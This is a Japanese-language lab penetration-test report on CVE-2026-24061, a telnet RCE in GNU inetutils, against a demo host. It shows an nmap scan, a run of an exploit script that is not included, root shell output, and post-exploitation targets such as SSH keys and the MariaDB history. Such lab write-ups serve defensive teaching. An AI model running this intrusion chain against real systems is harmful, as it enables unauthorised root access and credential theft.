CyberHawks ラボデモ発見レポート

クレジット: @SafeBreach-Labs

CVE: CVE-2026-24061

ラボ: Cyberhawks Lab
ターゲット: 10.1.1.1 (demo.cyberhawks.lab)
発見ID: WU-08
日付: 2026-09-08
深刻度: Critical
ステータス: 確認済み / 悪用済み

エグゼクティブサマリー

Cyberhawks ラボ環境の評価中に、認証不要のリモートコード実行（RCE）の脆弱性が特定され、ターゲットホスト（10.1.1.1）で悪用に成功しました。露出した Telnet サービス（TCP/23）を介した CVE-2026-24061 の悪用により、root レベルの対話型シェルが取得され、システムに対する完全な管理制御が付与されました。

スコープと環境

偵察

ポートスキャン

オープンポートとサービスを列挙するため、ターゲットに対して Nmap サービスバージョンスキャンが実行されました。

コマンド:

nmap -sV 10.1.1.1

結果サマリー:

注目すべき観察事項:

• ホストは15のポートにわたって広範かつ憂慮すべき攻撃面を露出しています。
• ポート 23（Telnet） がアクセス可能であり、直ちに優先ターゲットとなりました。
• 本質的に安全でない平文プロトコルである Telnet が、いかなる現代のホストに存在することも重大な設定ミスを表します。サービスバージョンが悪用可能である可能性が高いです。

脆弱性の詳細

説明

CVE-2026-24061 は、GNU inetutils 2.6 の Telnet デーモンコンポーネントに影響を与える認証不要のリモートコード実行の脆弱性です。悪用により、リモートの認証不要の攻撃者が、実行中のサービスの権限（この場合は root）でターゲットシステム上で任意のコマンドを実行できます。

悪用

使用したツール / エクスプロイト

CVE-2026-24061 を標的とした専用の Python エクスプロイトスクリプト（telnet_rce.py）が、脆弱な Telnet サービスに対して実行されました。

コマンド:

python3 telnet_rce.py 10.1.1.1

エクスプロイト出力:

[*] Connected to 10.1.1.1:23
[*] Interactive session started. Use Ctrl+C to quit.

Linux 6.12.41+deb13-amd64 (demo.cyberhawks.lab) (pts/0)

root@demo:~#

ポストエクスプロイテーション検証

シェルを取得後、以下のコマンドで達成されたアクセスレベルが確認されました:

ID検証:

root@demo:~# id
uid=0(root) gid=0(root) groups=0(root)

ファイルシステム列挙:

root@demo:~# ls -la
total 36
drwx------  6 root root 4096 Aug 28 14:47 .
drwxr-xr-x 19 root root 4096 Aug 28 15:37 ..
-rw-r--r--  1 root root  607 May 12  2025 .bashrc
drwx------  4 root root 4096 Sep  6  2025 .cache
drwxr-xr-x  3 root root 4096 Sep  6  2025 .config
drwxrwxr-x  3 root root 4096 Sep  6  2025 .local
-rw-------  1 root root  261 Sep  6  2025 .mariadb_history
-rw-r--r--  1 root root  132 May 12  2025 .profile
drwx------  2 root root 4096 Sep  6  2025 .ssh

サービスバージョン検証

root@demo:~# telnet --version

telnet (GNU inetutils) 2.6
Copyright (C) 2025 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Written by many authors.

ポストエクスプロイテーションからの主要な発見事項:

• .mariadb_history — アクティブな MariaDB データベースの使用を示します。さらなる認証情報の収集やデータの外部持ち出しの可能性があります。
• .ssh/ ディレクトリ — 他のホストへの横移動に使用可能な秘密鍵が含まれている可能性があります。
• 権限昇格のステップを必要とせず、完全な root（UID 0）アクセスが確認されました。

影響

単一の認証不要ステップでシステム全体が侵害されました。このネットワークセグメントにアクセスできる攻撃者は、以下のことが可能です:

• ホストに保存されているすべてのデータの読み取り、変更、外部持ち出し。
• シェル履歴、設定ファイル、MariaDB データベースからの認証情報の収集。
• SSH キーを使用したネットワーク上の他のホストへの横移動。
• 永続化の確立（例: バックドアアカウント、cron ジョブ、ルートキット）。
• ホスト上で実行されているすべてのサービスの可用性の妨害。

推奨事項

即時対応（Critical 優先度）

1. CVE-2026-24061 のパッチ適用または緩和 — Telnet を引き続き使用する必要がある場合は、GNU inetutils 用のベンダー提供パッチを適用してください。更新されたパッケージを確認します:
   root@kitploit:~

   apt update && apt install inetutils-telnetd
   

アーティファクトと証拠

Cyberhawks Lab 向けに作成されたレポート — 教育目的のみ。